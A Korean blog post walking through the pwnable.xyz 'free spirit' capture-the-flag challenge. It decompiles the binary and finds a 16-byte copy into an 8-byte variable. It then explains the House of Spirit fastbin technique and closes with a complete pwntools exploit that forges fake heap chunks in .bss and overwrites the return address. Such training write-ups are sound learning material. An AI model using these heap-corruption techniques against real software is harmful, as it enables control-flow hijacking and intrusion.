메모리 해제를 하는 free가 오작동을 한다고 한다.

 

Full RELRO, Canary, NX가 걸려있는 64bit 바이너리이다.

 

 

아주 단순한 동작을 한다. 문자열을 입력받고 끝이다. 아마 여기서 malloc으로 메모리를 할당받고 해제하는 것을 까먹던가... UAF가 터지거나.. 그렇겠지?

 

[main]

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rdi
  signed __int64 i; // rcx
  int v5; // eax
  __int64 v7; // [rsp+8h] [rbp-60h]
  char *buf; // [rsp+10h] [rbp-58h]
  char nptr; // [rsp+18h] [rbp-50h]
  unsigned __int64 v10; // [rsp+48h] [rbp-20h]

  v10 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  buf = (char *)malloc(0x40uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      _printf_chk(1LL, (__int64)"> ");
      v3 = &nptr;
      for ( i = 12LL; i; --i )
      {
        *(_DWORD *)v3 = 0;
        v3 += 4;
      }
      read(0, &nptr, 0x30uLL);
      v5 = atoi(&nptr);
      if ( v5 != 1 )
        break;
      __asm { syscall; LINUX - sys_read }
    }
    if ( v5 <= 1 )
      break;
    if ( v5 == 2 )
    {
      _printf_chk(1LL, (__int64)"%p\n");
    }
    else if ( v5 == 3 )
    {
      if ( (unsigned int)limit <= 1 )
        _mm_storeu_si128((__m128i *)&v7, _mm_loadu_si128((const __m128i *)buf));
    }
    else
    {
LABEL_16:
      puts("Invalid");
    }
  }
  if ( v5 )
    goto LABEL_16;
  if ( !buf )
    exit(1);
  free(buf);
  return 0;
}

엄청 단순할거라고 생각했는데 생각보다는 조금 긴 main코드이다.

 

0x30byte인 ptr을 모두 0으로 초기화해주고 read함수를 이용해서  0x30byte만큼 입력 받는다.

만약 1을 입력받으면 

__asm { syscall; LINUX - sys_read }

위의 코드를 실행시키고 2를 입력받으면

_printf_chk(1LL, (__int64)"%p\n");

위의 코드를 실행시키고 마지막으로 3을 입력받으면

if ( (unsigned int)limit <= 1 )
        _mm_storeu_si128((__m128i *)&v7, _mm_loadu_si128((const __m128i *)buf));

위의 코드를 실행시키고 그 외에는 모두 break를 해준다.

 

마지막으로 buf가 null이 아니라면 free(buf)를 해준다. 여기서 buf는 malloc으로 0x40만큼 할당되어 있는 메모리이다.

 

그러면 nptr에 "3"이 입력됐을 때를 주목해보자. __mm_storeu_si128은 intel intrinsics로 movdqu에 대응된다. movdqu는 128bit 레지스터나 메모리에 정렬되지 않은 값을 옯길 때 쓰는 명령어이다.

즉, buf에 저장된 16byte 값을 v7로 옮겨주는데 여기서 v7은 8byte 변수이기 때문에 8byte 오버플로우가 발생한다. 

 

디버거로 분석을 해보자.

 

nptr에 "3"을 입력했을 때 부분이다. rax가 buf가 저장되어 있는 부분이고 rsp+0x8이 v7 부분일 것이다. +201에 bp를 걸고 메모리를 확인해보았다.

 

 

0x7fffffffde30에는 malloc으로 0x40만큼 할당된 buf의 주소가 들어있는데 이 부분을 overwrite할 수 있다. 0x7fffffffde38에는 내가 입력한 값이 들어있다.

 

nptr에 "1"을 입력했을 때도 확인해보자.

 

이 부분이고 syscall table을 확인해보면

 

read(0, &rsp+0x10, 0x20)을 실행시키는 부분인 것을 확인할 수 있다. &rsp+0x10은 buf를 가르키고 있으므로 "1"을 입력하게 된다면 buf에 0x20만큼 입력을 받게 된다.

 

nptr에 "2"를 입력했을때이다.

 

 

0x4007a0은 당연히 printf_chk일 것이다.

 

 

"2"를 입력했을 때는 r12레지스터에 있는 값을 16진수로 출력해준다. 이때 r12에는 buf의 주소가 있다. "2"는 buf의 주소를 leak해주는 역할을 한다.

 

buf+0x58위치에 ret가 존재하므로 ret의 주소를 leak할 수 있다.

 

 

이렇게 ret주소를 leak해준다.

 

이제 공격 시나리오를 생각해보자.

 

1. ret 주소를 leak한다.

2. "1"을 입력하여 buf에 dummy(8byte)+ret address를 적어준다.

3. "3"을 입력하여 v7에  dummy 8byte를 입력하고 buf의 주소를 ret address로 바꿔준다.

4. 다시 "1"을 입력하여 ret address에 win함수의 주소를 적는다.

 

이러한 시나리오대로 payload를 짜게 되면

 

이런 오류가 발생하게 된다. 아마 마지막에 buf를 free해주는데 buf의 주소가 return address로 바뀌어 정상적인 heap구조가 아니기 때문에 이러한 오류가 발생하는 것 같다.

 

이러한 부분은 house of spirit으로 해결하면 된다. 그래서 문제 타이틀이 free spirit이었나?

House of spirit은 fastbin을 공격하는 기법으로, 특정 메모리를 해제하고 같은 크기만큼 메모리를 재할당하게 되면 같은 주소를 반환하는 fastbin의 특성을 이용하여 원하는 주소에 원하는 값을 쓸 수 있도록 해준다. 동작 과정은 이렇다.

 

1. ptr 포인터 변수에 0x30만큼의 chunk를 할당받는다. => ptr = malloc(0x30)

2. fake chunk1의 size 값을 지정한다. => free():invalid size오류 회피

3. fake chunk2의 size 값을 지정한다. => free():invalid next size오류 회피

※이 때 size값은 같은 값으로 해도 되고 top chunk처럼 큰 값으로 해도 된다.

4. chunk의 포인터를 원래의 정상적인 chunk가 아닌 fake chunk1을 가르키도록 한다.

5. chunk를 해제시킨다.

 

이렇게 되면 fake chunk1이 해제되어 fast bin에 들어가고, 같은 크기의 메모리가 할당될 때 fake chunk1이 다시 나타나는 그런 방법인데 여기서는 그냥 free만 무사히 시키면 되니까 8로 끝나는 주소에 size만 넣어줘서 fake chunk를 만들어주면 된다.

 

PIE는 걸려있지 않으므로 쓰기 권한이 있는 영역을 대충 골라서 fack chunk를 만들어준다.

 

 

bss영역인 0x601038쯤에 size를 적고 0x601040free()의 인자로 주자. size로는 적당히 0x30정도를 넣고 0x30만큼 뒤인 0x601068next chunk size로 아무 값이나 넣어주면 size check를 통과할 수 있을 것이다.

그러면 공격 시나리오를 다시 생각해보자.

 

1. ret 주소를 leak한다.

2. "1"을 입력하여 buf에 dummy(8byte)+ret address를 적어준다.

3. "3"을 입력하여 v7에  dummy 8byte를 입력하고 buf의 주소를 ret address로 바꿔준다.

4. 다시 "1"을 입력하여 ret address에 win함수의 주소+0x601038(fake chunk1 size address)를 넣는다.

=> return address에는 win의 주소로 세팅이 완료된 상태이고 free만 우회해주면 된다.

5. "3"을 입력하여 buf의 주소를 fake chunk1 size address의 주소로 바꾸어 준다.

6. "1"을 입력하여 fack chunk1 size address에 0x30와 fake chunk2 size address를 뒤에 적어준다.

7. "3"을 입력하여 buf의 주소를 fake chunk2 size address의 주소로 바꾸어 준다.

8. "1"을 입력하여 fake  chunk2 size address에 0x30와 fake chunk1 address(0x601040)를 뒤에 적어준다..

9. "3"을 입력하여 buf의 주소를 fake chunk1 address(0x601040)으로 바꾸어준다.

 

이런식으로 payload를 짜보자.

 

[payload]

from pwn import *

context.log_level = 'debug'

r = remote("svc.pwnable.xyz", 30005)
#r = process('./challenge')
e = ELF('./challenge')
win = e.symbols['win']

#return address leak
r.sendlineafter("> ", "2")
ret = int(r.recvline()[:-1], 16) + 0x58
print "ret address:" + hex(ret)

#save return address
payload = ''
payload += "A"*8
payload += p64(ret)

r.sendlineafter("> ", "1")
r.sendline(payload)
r.sendlineafter("> ", "3")

#set fake chunk
fake_chunk = 0x601040
r.sendlineafter("> ", "1")

#set fake chunk1 size
payload = p64(win) + p64(fake_chunk - 0x8)
r.sendline(payload)
r.sendlineafter("> ", "3")
r.sendlineafter("> ", "1")

payload = p64(0x30) + p64(fake_chunk - 0x8 + 0x30)
r.sendline(payload)
r.sendlineafter("> ", "3")

#set fake chunk2 size
r.sendlineafter("> ", "1")

payload = p64(0x30) + p64(fake_chunk)
r.sendline(payload)
r.sendlineafter("> ", "3")

#return
r.sendlineafter("> ", "0")

r.interactive()

 

성공이다~!

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] Jmp table  (0) 2020.05.30
[pwnable.xyz] TLSv00  (0) 2020.05.29
[pwnable.xyz] two targets  (0) 2020.05.26
[pwnable.xyz] xor  (0) 2020.05.19
[pwnable.xyz] note  (0) 2020.05.08

+ Recent posts